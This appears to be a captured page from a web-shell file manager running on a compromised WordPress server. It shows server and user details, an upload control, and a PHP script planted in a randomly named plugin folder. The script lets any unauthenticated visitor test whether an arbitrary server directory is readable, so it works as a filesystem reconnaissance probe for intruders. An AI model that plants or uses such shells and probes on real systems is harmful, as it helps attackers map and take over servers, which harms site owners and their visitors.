HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux Droplet-NYC1-3 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www-data (33)
PHP: 7.4.3-4ubuntu2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/bestseoreseller.com/wp-content/plugins/e35d34379cff4e809c958237dfcf9e98/path.php
<?php

function is_dir_readable($path) {
    if (empty($path)) {
        return false;
    }

    if (!is_dir($path)) {
        return false;
    }

    // Method 1: Using is_readable()
    if (is_readable($path)) {
        return true;
    }

    // Method 2: Trying to open a directory handle (more robust)
    if (@opendir($path) !== false) {
        closedir(opendir($path)); // Close the directory handle immediately
        return true;
    }

    // Method 3: Checking permissions (less reliable, but sometimes necessary)
    if (function_exists('posix_access')) {
        if (posix_access($path, POSIX_R_OK)) {
            return true;
        }
    }

    //Method 4: Attempting to list directory contents. (Alternative robust method)
    if(count(scandir($path)) > 0){
        return true;
    }

    return false;
}

if (isset($_GET['path'])) {
    $path = $_GET['path'];
    $path = rtrim($path, '/'); // Remove trailing slashes

    if (is_dir_readable($path)) {
        echo "Only Readable";
    } else {
        echo "Notreadable";
    }
} else {
    echo "Path parameter is missing.";
}
?>